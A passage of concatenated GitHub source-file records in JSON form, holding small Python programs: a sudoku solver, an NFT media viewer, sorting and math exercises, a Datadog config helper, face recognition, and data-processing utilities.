\"chunk3\":chunk3,\n \"chunk4\":chunk4, \"chunk5\":chunk5, \"chunk6\":chunk6,\n \"chunk7\":chunk7, \"chunk8\":chunk8, \"chunk9\":chunk9,\n }\n for chunk, coodinates in chunks.items():\n for value in values:\n prob += pulp.lpSum([cells[coodinate[0]][coodinate[1]][value] for coodinate in coodinates]) == 1\n\n # solver\n status = prob.solve(pulp.PULP_CBC_CMD(msg=0))\n\n # result\n result_in_variable = []\n for row in rows:\n for column in columns:\n for value in values:\n cell = cells[row][column][value]\n if cell.value() == 1.0:\n result_in_variable.append(cell)\n\n result_in_num = []\n for i in result_in_variable:\n i = int(str(i)[-1])\n result_in_num.append(i)\n\n result = []\n for i in range(0,81,9):\n result_in_row = result_in_num[i:i+9]\n result.append(result_in_row)\n\n return status, result\n\ndef result_to_show(result_in_num):\n result_to_show = []\n for i in range(0,81,9):\n result_to_show.append(list(result_in_num[i:i+9]))\n\n# result_to_show = pd.DataFrame(raw_table).T\n return result_to_show\n\ndef main(data_to_compute):\n status, result = sudoku_solver(data_to_compute)\n #result_on_table = show_result_on_table(result_in_num)\n return status, result\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Select Level.\")\n parser.add_argument(\"--level\", default=\"easy\", help=\"select level (easy, medium, hard, user)\")\n args = parser.parse_args()\n level = args.level\n\n data_to_display, data_to_compute = preprocess.main(level)\n\n status, result = main(data_to_compute)\n\n print(\"Prepared Data\", data_to_display, \"-----------------------------\", sep=\"\\n\")\n print(\" \", \"Result\", sep=\"\\n\")\n\n print(result, \"-----------------------------\", sep=\"\\n\")\n \n # Print Optimality\n print(\"Status: \", pulp.LpStatus[status])","repo_name":"spacean27/sudoku_solver","sub_path":"solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42531037672","text":"import requests\r\nimport streamlit as st\r\nfrom PIL import Image\r\n\r\napi_alchemy= st.secrets[\"api_alchemy\"]\r\n\r\n\r\n\r\nst.title(f\"SMA11'S WilderWorld BLACK BOOK\")\r\nim= Image.open('WWbanner.png')\r\nst.image(im)\r\nst.header(\"Download your Media files\")\r\nwallet = st.sidebar.text_input(\"Wallet\")\r\nproject = st.sidebar.selectbox(\r\n \"Project\",\r\n [\r\n \"GENs\",\r\n \"Wapes\",\r\n \"Motos\",\r\n \"Wolves\",\r\n \"AirWild 02\",\r\n \"Wheels, AirWild Season 0 & Season 1, Cribs, & Crafts\",\r\n \r\n ],\r\n)\r\n\r\ndef get_data_by_contract(contracts,wallet):\r\n page_key = None\r\n total_count = 0\r\n token_count=1\r\n url = (\r\n f\"https://eth-mainnet.g.alchemy.com/nft/v2/{api_alchemy}/getNFTs?owner={wallet}&{contracts}&withMetadata=true&pageSize=100\"\r\n )\r\n headers = {\"accept\": \"application/json\"}\r\n r = requests.get(url, headers=headers)\r\n tokens = r.json()\r\n st.write('Count=',tokens['totalCount'])\r\n st.markdown(\"\"\"---\"\"\")\r\n while True:\r\n url = (\r\n f\"https://eth-mainnet.g.alchemy.com/nft/v2/{api_alchemy}/getNFTs?owner={wallet}&{contracts}&withMetadata=true&pageSize=100\"\r\n )\r\n if page_key:\r\n \r\n url += f\"&pageKey={page_key}\"\r\n headers = {\"accept\": \"application/json\"}\r\n r = requests.get(url, headers=headers)\r\n tokens = r.json()\r\n\r\n if \"ownedNfts\" not in tokens:\r\n break\r\n \r\n total_count += tokens[\"totalCount\"]\r\n #count = 0\r\n owned = tokens[\"ownedNfts\"]\r\n nft_search = \"image\"\r\n nft_animation = \"animation\"\r\n nft_video = \"video\"\r\n \r\n\r\n\r\n for count in range(0,len(owned),+1):\r\n st.write(token_count)\r\n col1, col2 = st.columns(2)\r\n with col1:\r\n st.write('Token ID:',owned[count]['id']['tokenId'])\r\n st.write(owned[count]['title'])\r\n st.image(owned[count]['media'][0]['thumbnail'])\r\n matching_keys = [key for key in owned[count]['metadata'].keys() if nft_search in key]\r\n matching_video = [key for key in owned[count]['metadata'].keys() if nft_animation in key]\r\n with col2:\r\n if 'attributes' in owned[count]['metadata']:\r\n st.dataframe(owned[count]['metadata']['attributes'])\r\n\r\n for x in matching_keys:\r\n link=owned[count]['metadata'][x]\r\n res=link.strip('ipfs://')\r\n new_link= \"https://ipfs.io/ipfs/\"+ res\r\n final_link = f'[{x}] ({new_link})'\r\n file_name=f'{x}.png'\r\n st.markdown(final_link, unsafe_allow_html=True)\r\n\r\n for x in matching_video:\r\n rvideo=owned[count]['metadata'][x]\r\n svideo=rvideo.strip('ipfs://')\r\n nvideo=\"https://ipfs.io/ipfs/\"+ svideo\r\n video=f'[Video] ({nvideo})'\r\n st.markdown(video, unsafe_allow_html=True)\r\n token_count= token_count+1\r\n count = count + 1\r\n st.markdown(\"\"\"---\"\"\")\r\n \r\n \r\n \r\n if \"pageKey\" not in tokens:\r\n break\r\n else:\r\n page_key = tokens[\"pageKey\"]\r\n \r\n\r\n\r\nif not wallet:\r\n st.write(\"To download all GEN's & WW Assets in your wallet\")\r\n st.error(\"ENTER WALLET ON LEFT\")\r\nelif project=='GENs':\r\n contracts = \"contractAddresses[]=0x90a1f4B78Fa4198BB620b7686f510FD476Ec7A0B\"\r\n get_data_by_contract(contracts,wallet)\r\n\r\nelif project=='Wapes':\r\n contracts = \"contractAddresses[]=0x05F81F870cBca79E9171f22886b58b5597A603AA\"\r\n get_data_by_contract(contracts,wallet)\r\n\r\nelif project=='Motos':\r\n contracts = \"contractAddresses[]=0x51bd5948CF84a1041d2720F56DEd5e173396FC95\"\r\n get_data_by_contract(contracts,wallet)\r\n\r\nelif project=='Wolves':\r\n contracts = \"contractAddresses[]=0x1A178CFD768F74b3308cbca9998C767F4E5B2CF8\"\r\n get_data_by_contract(contracts,wallet)\r\n\r\nelif project=='AirWild 02':\r\n contracts = \"contractAddresses[]=0x35D2F3CDAf5e2DeA9e6Ae3553A4CaACBA860A395\"\r\n get_data_by_contract(contracts,wallet)\r\n\r\n \r\nelif project=='Wheels, AirWild Season 0 & Season 1, Cribs, & Crafts':\r\n contracts = \"contractAddresses[]=0xc2e9678A71e50E5AEd036e00e9c5caeb1aC5987D\"\r\n get_data_by_contract(contracts,wallet)\r\n\r\n\r\n\r\n# \"&\"\r\n# \"contractAddresses[]=0xcf8dfce1d4eb0c41194ea3462eb2cdaa880e073f&\"\r\n# \"contractAddresses[]=0xc2e9678A71e50E5AEd036e00e9c5caeb1aC5987D\"\r\n\r\n\r\n \r\n\r\n# [\r\n# \"GENs\",\r\n# \"Wapes\",\r\n# \"Motos\",\r\n# \"Wolves\",\r\n# \"AirWild 02\",\r\n# \"Metaphoenix\",\r\n# \"Wheels, AirWild Season 0 & Season 1, Cribs, & Crafts\",\r\n# \"Cyberheist\",\r\n# ],\r\n\r\n\r\n","repo_name":"365sma11/wilder2","sub_path":"GEN_downloadv31.py","file_name":"GEN_downloadv31.py","file_ext":"py","file_size_in_byte":4706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36575643990","text":"# Define a procedure, median, that takes three\n# numbers as its inputs, and returns the median\n# of the three numbers.\n\n# Make sure your procedure has a return statement.\n\n#step1: find the bigger one between (a,b)#\ndef bigger(a, b):\n if a > b:\n return a\n else:\n return b\n\n\n# find the median\ndef median(a, b, c):\n if bigger(a, b) > bigger(b, c):\n return bigger(b, c)\n if bigger(a, b) < bigger(b, c):\n return bigger(a, b)\n else:\n #bigger(a,b) == bigger(b,c)\n return bigger(a,c)\n\n\n\nprint(median(1, 2, 3))\n# >>> 2\n\nprint(median(9, 3, 6))\n# >>> 6\n\nprint(median(7, 8, 7))\n# >>> 7\n","repo_name":"QiliWu/Udacity_code_01","sub_path":"median.py","file_name":"median.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3573115463","text":"def factorial(n):\n fact = 1\n for i in range(1,n+1):\n fact = fact *i\n print(fact)\n\nfa = 5\nfactorial(fa)\n#Recursion using factorial\ndef fact(num):\n if num == 0:\n return 1\n return num * fact(num - 1)\n\n\nval = 5\nprint(fact(val))\n\n\n\n","repo_name":"NandaKumarKonetisetti/Python-Basics","sub_path":"fact.py","file_name":"fact.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27413695157","text":"from __future__ import print_function\nfrom dogapi.common import is_p3k, find_localhost\n\n\nget_input = input\n\nif is_p3k():\n import configparser\nelse:\n get_input = raw_input\n import ConfigParser as configparser\nimport os\nimport sys\ntry:\n from UserDict import IterableUserDict\nexcept ImportError:\n from collections import UserDict as IterableUserDict\n\nfrom dogapi import DogHttpApi\n\ndef print_err(msg):\n if is_p3k():\n print('ERROR: ' + msg + '\\n', file=sys.stderr)\n else:\n sys.stderr.write(msg + '\\n')\n\n\ndef report_errors(res):\n if 'errors' in res:\n for e in res['errors']:\n print_err('ERROR: ' + e)\n sys.exit(1)\n return False\n\ndef report_warnings(res):\n if 'warnings' in res:\n for e in res['warnings']:\n print_err('WARNING: ' + e)\n return True\n return False\n\nclass CommandLineClient(object):\n def __init__(self, config):\n self.config = config\n self._dog = None\n\n @property\n def dog(self):\n if not self._dog:\n self._dog = DogHttpApi(self.config['apikey'], self.config['appkey'], swallow=True, json_responses=True)\n return self._dog\n\n\nclass DogshellConfig(IterableUserDict):\n\n def load(self, config_file, apikey, appkey):\n config = configparser.ConfigParser()\n\n if apikey is not None and appkey is not None:\n self['apikey'] = apikey\n self['appkey'] = appkey\n else:\n if os.access(config_file, os.F_OK):\n config.read(config_file)\n if not config.has_section('Connection'):\n report_errors({'errors': ['%s has no [Connection] section' % config_file]})\n else:\n try:\n response = ''\n while response.strip().lower() not in ['y', 'n']:\n response = get_input('%s does not exist. Would you like to create it? [Y/n] ' % config_file)\n if response.strip().lower() in ['', 'y', 'yes']:\n # Read the api and app keys from stdin\n apikey = get_input('What is your api key? (Get it here: https://app.datadoghq.com/account/settings#api) ')\n appkey = get_input('What is your application key? (Generate one here: https://app.datadoghq.com/account/settings#api) ')\n\n # Write the config file\n config.add_section('Connection')\n config.set('Connection', 'apikey', apikey)\n config.set('Connection', 'appkey', appkey)\n\n f = open(config_file, 'w')\n config.write(f)\n f.close()\n print('Wrote %s' % config_file)\n elif response.strip().lower() == 'n':\n # Abort\n print_err('Exiting\\n')\n sys.exit(1)\n except KeyboardInterrupt:\n # Abort\n print_err('\\nExiting')\n sys.exit(1)\n\n\n self['apikey'] = config.get('Connection', 'apikey')\n self['appkey'] = config.get('Connection', 'appkey')\n assert self['apikey'] is not None and self['appkey'] is not None\n \n","repo_name":"DataDog/dogapi","sub_path":"src/dogshell/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"72"} +{"seq_id":"2917024364","text":"\"\"\" This file returns specified subsets of all relevant data as an input array.\n This can reduce the file sizes associated with all input, training, and\n test sets.\n joelmpiper [at] gmail.com\n\"\"\"\n\nimport netCDF4 as nc\nimport numpy as np\nimport pandas as pd\n# import pdb\n\nTEST = 0\n\n\nclass Subset(object):\n \"\"\" This returns the appropriate complementary training X, y and testing\n X and y.\n \"\"\"\n\n def __init__(self, trainX_file, trainy_file, testX_file, testy_file):\n self.trainX_file = trainX_file\n self.trainy_file = trainy_file\n self.testX_file = testX_file\n self.trainX, self.trainy, self.testX, self.loc = Subset.subset(\n self.trainX_file, self.trainy_file, self.testX_file,\n self.testy_file)\n\n @staticmethod\n def subset(trainX_dir, trainy_file, testX_dir, loc_file, X_par, y_par):\n \"\"\" Returns the X, y, and location data cut by the parameters specified.\n\n Take any list of dates, times, models, latitudes, longitudes,\n and predictive locations, as well as elevation ranges.\n \"\"\"\n\n trainX, testX = Subset.create_Xdata(trainX_dir, testX_dir, **X_par)\n trainy, loc = Subset.create_ydata(trainy_file, loc_file, **y_par)\n return trainX, trainy, testX, loc\n\n @staticmethod\n def create_ydata(train_file, loc_file, train_dates, stations):\n \"\"\" Returns a dataframes of the y data and the location data.\n\n Create dataframes by reading in the training and location files;\n tidy the training set by moving the location code from a column to\n to a row.\n \"\"\"\n train_data = pd.read_csv(train_file, index_col='Date',\n parse_dates=['Date'])\n rot_df = pd.DataFrame(train_data.unstack().reset_index()[:])\n rot_df.rename(columns={'level_0': 'location', 'Date': 'date',\n 0: 'total_solar'}, inplace=True)\n rot_df.set_index('date', inplace=True)\n loc_df = pd.read_csv(loc_file, index_col='stid')\n\n loc_df['elon'] = loc_df['elon'] + 360\n loc_df.rename(columns={'nlat': 'lat', 'elon': 'lon'}, inplace=True)\n loc_df.index.names = ['location']\n\n # if we are making any specifications on the output data, then\n # reduce what is returned to conform with those specifications\n rot_df, loc_df = Subset.reduced_training(\n rot_df, loc_df, train_dates, stations)\n return rot_df, loc_df\n\n @staticmethod\n def reduced_training(rot_df, loc_df, date, station):\n \"\"\" Returns the y output and location data subsets given the parameters.\n\n Take the output data and location data and return the reduced set.\n \"\"\"\n\n # only return data for the given stations\n mod_train = rot_df[rot_df['location'].isin(station)]\n mod_loc = loc_df.loc[station, :]\n\n # only return data for the given dates\n mod_train = mod_train.loc[date[0]:date[1], :].reset_index()\n mod_train = mod_train.sort_values(['location', 'date'])\n mod_train = mod_train.set_index('date')\n\n return mod_train, mod_loc\n\n @staticmethod\n def create_Xdata(trainX_dir, testX_dir, var=[], train_dates=[],\n test_dates=[], models=[], lats=[], longs=[],\n times=[], elevs=[], station=[]):\n \"\"\" Return an np array of X data with the given cuts.\n \"\"\"\n # The default is all of the files, so load them all if none are\n # specified\n if ((var.size == 0) or ('all' in var)):\n var = [\n 'dswrf_sfc', 'dlwrf_sfc', 'uswrf_sfc', 'ulwrf_sfc',\n 'ulwrf_tatm', 'pwat_eatm', 'tcdc_eatm', 'apcp_sfc', 'pres_msl',\n 'spfh_2m', 'tcolc_eatm', 'tmax_2m', 'tmin_2m', 'tmp_2m',\n 'tmp_sfc'\n ]\n\n train_sub_str = '_latlon_subset_19940101_20071231.nc'\n test_sub_str = '_latlon_subset_20080101_20121130.nc'\n trainX = Subset.file_loop(trainX_dir, var, train_sub_str,\n train_dates, models, lats, longs, times,\n elevs)\n testX = Subset.file_loop(testX_dir, var, test_sub_str,\n test_dates, models, lats, longs, times,\n elevs)\n return trainX, testX\n\n @staticmethod\n def file_loop(input_dir, var, substr, dates, models, lats, longs,\n times, elevs):\n \"\"\" Return an np array for the given set of variables and cuts.\n \"\"\"\n\n # First loop over the files for the specificed variables in the set\n # Save each variables in a list. Each element is an ndarray\n loaded = []\n\n for i, f in enumerate(var):\n loaded.append(Subset.cutX(\n input_dir + '/' + var[i] + substr, dates, models, lats,\n longs, times, elevs))\n\n # Combine all of the files into a single array\n X = np.stack((loaded), axis=-1)\n return X\n\n @staticmethod\n def cutX(file_name, input_date, models=None,\n lats=None, longs=None,\n times=None, elevs=None):\n \"\"\" Load a single nc file and return a subset of that file in an\n np array.\n \"\"\"\n\n X = nc.Dataset(file_name, 'r+').variables.values()\n\n # set defaults\n begin_date = 0\n end_date = len(list(X)[1][:])\n # if date values are provided revise the ranges\n if (input_date):\n dates = list(X)[1][:]\n begin_date, end_date = Subset.check_dates(dates, input_date)\n # For some reason in python 3, these were coming back as\n # 1-element lists\n begin_date = begin_date[0]\n end_date = end_date[0]\n\n X = np.array(list(X)[-1])[begin_date:(end_date+1),\n models[:, np.newaxis, np.newaxis, np.newaxis],\n times[:, np.newaxis, np.newaxis], lats, longs]\n if (TEST > 0):\n print(\"Subset complete\")\n\n return X\n\n @staticmethod\n def check_dates(dates, input_date):\n \"\"\" Take a list of dates, a beginning date, and an ending date\n and return the indices needed to extract information from the\n np array.\n \"\"\"\n\n beg_split = input_date[0].split('-')\n beg_ind = int(beg_split[0] + beg_split[1] + beg_split[2] + '00')\n begin_date = np.where(dates == beg_ind)[0]\n\n end_split = input_date[1].split('-')\n end_ind = int(end_split[0] + end_split[1] + end_split[2] + '00')\n end_date = np.where(dates == end_ind)[0]\n\n return begin_date, end_date\n\n\nif __name__ == '__main__':\n s = Subset(trainX_file='solar/data/kaggle_solar/train/',\n trainy_file='solar/data/kaggle_solar/train.csv',\n testX_file='solar/data/kaggle_solar/test/',\n loc_file='solar/data/kaggle_solar/station_info.csv')\n print(s.trainX.shape)\n","repo_name":"joelmpiper/solar_energy_prediction","sub_path":"solar/wrangle/subset.py","file_name":"subset.py","file_ext":"py","file_size_in_byte":7004,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"29711210529","text":"import cv2, time\nimport os\nfrom PIL import Image\n\ncamera = 0\nvideo = cv2.VideoCapture(camera, cv2.CAP_DSHOW)\nfaceDetections = cv2.CascadeClassifier('lab/FaceRecognition/haarcascade_frontalface_default.xml')\nrecognizer = cv2.face.EigenFaceRecognizer_create()\nrecognizer.read('lab/FaceRecognition/dataset/trainer.yml') # read the trained model\na = 0\nwhile True:\n a = a + 1\n width_d, height_d = 280, 280 # Dimension of the image\n check, frame = video.read() # Capture frame-by-frame\n tampil = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # Convert to grayscale\n faces = faceDetections.detectMultiScale(tampil, scaleFactor=1.3, minNeighbors=5) # Detect faces in the image\n for (x, y, w, h) in faces:\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2) # Draw a rectangle around the face\n id, conf = recognizer.predict(cv2.resize(tampil[y:y+h,x:x+w], (width_d, height_d))) # Recognize the face (calculate the distance between the face and the faces in the dataset)\n if id == 1:\n id = \"Ilyas Hidayat Rusdy\"\n # print confidence dalam persen\n conf = \"{0}%\".format(round(conf-100))\n print(conf)\n else:\n id = \"Unknown\"\n cv2.putText(frame, str(id), (x, y), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\n cv2.imshow(\"Face Recognition\", frame) # Display the resulting frame\n key = cv2.waitKey(1)\n # if id == 1:\n # print(\"Ilyas Hidayat Rusdy\")\n # break\n if key == ord('q'):\n break\nvideo.release()\ncv2.destroyAllWindows()\n\n","repo_name":"IlyasHidayatR/python_project","sub_path":"lab/FaceRecognition/FaceRecognition.py","file_name":"FaceRecognition.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4257152961","text":"from __future__ import annotations\r\nfrom enum import StrEnum, auto\r\n\r\n\r\nclass CardName(StrEnum):\r\n SODA = \"Soda\"\r\n MUSCAT_OTTONEL = \"Muscat Ottonel\"\r\n GREY_FRIAR = \"Grey Friar\"\r\n ZOLD_VELTELLINI = \"Zold Veltellini\"\r\n BREAD_AND_DRIPPING = \"Bread & Dripping\"\r\n WATER_SPILL = \"Water Spill\"\r\n TIP = \"Tip\"\r\n GLASS_BREAK = \"Glass Break\"\r\n MIDDLE_FINDER = \"Middle Finger\"\r\n\r\n @staticmethod\r\n def all() -> list[str]:\r\n return [item.value for item in CardName.__members__.values()]\r\n\r\n\r\nclass CardType(StrEnum):\r\n SODA = auto()\r\n VINE = auto()\r\n PUNISHMENT = auto()\r\n RESIST = auto()\r\n\r\n\r\ncard_type_mapping = {\r\n CardName.SODA: CardType.SODA,\r\n CardName.MUSCAT_OTTONEL: CardType.VINE,\r\n CardName.GREY_FRIAR: CardType.VINE,\r\n CardName.ZOLD_VELTELLINI: CardType.VINE,\r\n CardName.BREAD_AND_DRIPPING: CardType.PUNISHMENT,\r\n CardName.WATER_SPILL: CardType.PUNISHMENT,\r\n CardName.TIP: CardType.PUNISHMENT,\r\n CardName.GLASS_BREAK: CardType.PUNISHMENT,\r\n CardName.MIDDLE_FINDER: CardType.RESIST\r\n}\r\n\r\nclass Card:\r\n\r\n def __init__(self, name: CardName) -> None:\r\n self.name = name\r\n self.type = card_type_mapping[name]\r\n\r\n def __repr__(self) -> str:\r\n return self.name\r\n\r\n def __str__(self) -> str:\r\n return self.name \r\n\r\n @staticmethod\r\n def get_type_of_name(name: CardName) -> CardType:\r\n return card_type_mapping[name]\r\n","repo_name":"CaptainCsaba/Froccs","sub_path":"card.py","file_name":"card.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18559535854","text":"import tiktoken\n\nfrom llms.llm_models import OpenAIModel\n\nTOKENS_2_WORDS_CONVERSION = (3 / 4) # open ai's rule of thumb for approximating tokens from number of words\nMAX_TOKENS_BUFFER = 400\nMAX_TOKENS_DEFAULT = 2000\n\n\nclass TokenCalculator:\n\n @staticmethod\n def calculate_max_tokens(model: OpenAIModel, prompt: str) -> int:\n \"\"\"\n Gets the token limit for the given model with the given max tokens for completion\n :param model: The model used to predict on prompt.\n :param prompt: The prompt being given to model for completion.\n :return: The max token allowed for given model and prompt.\n \"\"\"\n model_token_limit = model.get_max_tokens()\n prompt_tokens = TokenCalculator.estimate_num_tokens(prompt, model)\n return model_token_limit - prompt_tokens - MAX_TOKENS_BUFFER\n\n @staticmethod\n def estimate_num_tokens(content: str, model: OpenAIModel) -> int:\n \"\"\"\n Approximates the number of tokens that some content will be tokenized into by a given model by trying to tokenize\n and giving a rough estimate using a words to tokens conversion if that fails\n :param content: The content to be tokenized\n :param model: The model that will be doing the tokenization.\n :return: The approximate number of tokens\n \"\"\"\n try:\n encoding = tiktoken.encoding_for_model(model.value)\n num_tokens = len(encoding.encode(content))\n return num_tokens\n except Exception:\n return TokenCalculator.rough_estimate_num_tokens(content)\n\n @staticmethod\n def rough_estimate_num_tokens(content: str) -> int:\n \"\"\"\n Gives a rough estimate the number of tokens that some content will be tokenized into using the 4/3 rule used by open ai\n :param content: The content to be tokenized\n :return: The approximate number of tokens\n \"\"\"\n return round(len(content.split()) * (1 / TOKENS_2_WORDS_CONVERSION))\n","repo_name":"thearod5/drone-prompt-manager","sub_path":"src/llms/token_calculator.py","file_name":"token_calculator.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34207166414","text":"from typing import Dict\n\nimport requests\nfrom lxml import html\n\n\nclass PokeBase:\n def __init__(self, row) -> None:\n self.name = str(row[2].text_content().strip())\n parenthesis = self.name.find('(')\n if parenthesis != -1:\n self.name = self.name[:parenthesis].strip()\n\n self.base_exp = int(row[3].text_content().replace(\"*\", \"\").strip())\n\n self.evs = [0]*6\n for i in range(0, 6):\n self.evs[i] = int(row[4 + i].text_content().strip())\n\n\ndef get_base_map() -> Dict[str, PokeBase]:\n page = requests.get('https://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_effort_value_yield')\n tree = html.fromstring(page.text)\n\n table = tree.xpath('//*[@id=\"mw-content-text\"]/table[1]/tr')\n form_map = {}\n for i, row in enumerate(table):\n # Schema\n if i == 0:\n continue\n\n num = row[0].text_content().strip()\n\n # First one is likely the base form\n if num in form_map:\n continue\n\n form_map[num] = PokeBase(row)\n\n return form_map\n","repo_name":"leahfortier/pokemon","sub_path":"scripts/serebiiswsh/bulbyparser.py","file_name":"bulbyparser.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"20750258316","text":"n = int(input())\ntemp = list(map(int, input().split()))\ntower = []\nfor i in range(len(temp)):\n tower.append([i, temp[i]])\n\nstack = []\nans = [0] * n\nfor i in range(0, len(tower)):\n while(True):\n if stack:\n if stack[-1][1] < tower[i][1]:\n stack.pop()\n else:\n ans[i] = stack[-1][0] + 1\n stack.append([tower[i][0], tower[i][1]])\n break\n else:\n ans[i] = 0\n stack.append([tower[i][0], tower[i][1]])\n break\nfor i in ans:\n print(i, end=' ')","repo_name":"jongbin26/coding_test","sub_path":"python/2493.py","file_name":"2493.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74137664872","text":"def insertion_sort1(alist):\n \"\"\"\n Solve the `Insertion Sort 2 Challenge <>`_\n \"\"\"\n for index in range(1, len(alist)):\n currentvalue = alist[index]\n position = index\n\n while position > 0 and alist[position - 1] > currentvalue:\n alist[position] = alist[position - 1]\n position -= 1\n print(' '.join(map(str, alist)))\n\n alist[position] = currentvalue\n\n print(' '.join(map(str, alist)))\n\n\ndef insertion_sort2(alist):\n for index in range(1, len(alist)):\n current_value = alist[index]\n position = index\n\n while position > 0 and alist[position - 1] > current_value:\n alist[position] = alist[position - 1]\n position -= 1\n\n alist[position] = current_value\n print(' '.join(map(str, alist)))\n\n\ndef insertion_sort3(l):\n \"\"\"\n This is the exact code taken from the https://www.hackerrank.com/challenges/correctness-invariant challenge.\n It works locally but fails on the site. By simply replacing the algorithm on the site with one of the previous\n insertion_sort algorithms, it passes.\n\n Not sure why this passes locally but not on the site??\n\n :param l:\n :return:\n \"\"\"\n for i in range(1, len(l)):\n j = i - 1\n key = l[i]\n while (j > 0) and (l[j] > key):\n l[j + 1] = l[j]\n j -= 1\n l[j + 1] = key\n\n\ndef running_time(alist):\n \"\"\"\n Solve running time https://www.hackerrank.com/challenges/runningtime challenge.\n :param alist:\n :return: the number of times an item had to be shifted to complete the insertion sort algorithm\n \"\"\"\n shifts = 0\n for index in range(1, len(alist)):\n current_value = alist[index]\n position = index\n\n while position > 0 and alist[position - 1] > current_value:\n alist[position] = alist[position - 1]\n position -= 1\n shifts += 1\n\n alist[position] = current_value\n return shifts\n\n\ndef counting_sort3(l):\n \"\"\"\n There's not a nice way to fit this into a list comprehension so am implementing as a generator.\n :param l:\n :return:\n \"\"\"\n count = 0\n for x in range(0, 100):\n count += l.count(x)\n yield count\n\ndef quick_sort1(l):\n \"\"\"\n Solve the first quick sort challenge.\n\n :param l:\n :return:\n \"\"\"\n mid = [l[0]]\n left = []\n right = []\n for i in l[1:]:\n if i == l[0]:\n mid.append(i)\n elif i < l[0]:\n left.append(i)\n else:\n right.append(i)\n return \" \".join(repr(e) for e in left + mid + right)\n\n\ndef quick_sort2(l):\n \"\"\"\n Solve the second quick sort challenge.\n\n :param l:\n :return:\n \"\"\"\n mid = []\n left = []\n right = []\n if len(l) > 1:\n mid.append(l[0])\n for i in l[1:]:\n if i == l[0]:\n mid.append(i)\n elif i < l[0]:\n left.append(i)\n else:\n right.append(i)\n left = quick_sort2(left)\n if len(left) > 1:\n print(\" \".join(repr(x) for x in left))\n right = quick_sort2(right)\n if len(right) > 1:\n print(\" \".join(repr(x) for x in right))\n return left + mid + right\n else:\n return l\n\n\ndef quick_sort3(l, lo, hi):\n \"\"\"\n Solve the quick_sort 3 challenge with involves doing a quicksort inplace using the Lomuto partition scheme.\n\n https://www.hackerrank.com/challenges/quicksort3\n \n :param l:\n :param lo:\n :param hi:\n :return:\n \"\"\"\n if lo < hi:\n p = partition(l, lo, hi)\n print(\" \".join(repr(x) for x in l))\n\n quick_sort3(l, lo, p-1)\n quick_sort3(l, p+1, hi)\n\n\ndef partition(l, lo, hi):\n pivot = l[hi]\n i = lo # index for swapping\n for j in range(lo, hi):\n if l[j] <= pivot:\n l[i], l[j] = l[j], l[i]\n i += 1\n l[i], l[hi] = l[hi], l[i]\n return i","repo_name":"davidoevans/play35","sub_path":"practice/hackerrank/algorithms/sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":3942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19177552510","text":"import unittest\nfrom io import StringIO\nfrom unittest.mock import Mock, MagicMock, patch\nfrom google.cloud.speech_v1p1beta1 import SpeechClient, enums\n\nimport main as list_processor\n\nclass TestListProcessor(unittest.TestCase):\n\n @patch('sys.stdout', new_callable=StringIO)\n @patch('main.SpeechClient', spec = True)\n def test_spoken_list_processor(self, mock_client, mock_stdout):\n # Setting up Cloud Function variables\n event = {\n 'bucket': 'recordings-bucket',\n 'name': 'some-recording',\n 'metageneration': 'some-metageneration',\n 'timeCreated': '0',\n 'updated': '0'\n }\n context = MagicMock()\n context.event_id = 'some-id'\n context.event_type = 'gcs-event'\n\n # Setting up result mocks\n alternative = Mock()\n alternative.transcript = 'crema manzana y nuez'\n\n result = Mock()\n result.alternatives = [alternative]\n results = [result]\n \n response = Mock()\n response.results = results\n\n mock_client.return_value.recognize.return_value = response \n # Testing code\n list_processor.spoken_list(event, context)\n\n config = {\n \"language_code\": \"es-MX\",\n \"sample_rate_hertz\": 44100,\n \"encoding\": enums.RecognitionConfig.AudioEncoding.MP3\n }\n audio = {\"uri\": 'gs://recordings-bucket/some-recording' }\n assert mock_client.called\n mock_client.return_value.recognize.assert_called_with(config, audio)\n assert 'crema manzana y nuez' in mock_stdout.getvalue()\n\n\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"LaloLoop/Despenso","sub_path":"Functions/Backend/main_test.py","file_name":"main_test.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9968633410","text":"import traceback\n\nfrom model.db_base import db\nfrom model.model_import import Project\n\nfrom util.logger import logger\n\n\ndef read_project(**kwargs):\n try:\n logger.info('Get project list')\n logger.info(f'Filter: {kwargs}')\n condition = {k: v for k, v in kwargs.items() if v is not None}\n query = db.session.query(Project).filter_by(**condition).all()\n return query\n except Exception as e:\n logger.error(e)\n #logger.debug(traceback.format_exc())\n raise e\n\n\ndef create_project(**kwargs):\n logger.info('Register new project')\n try:\n project = 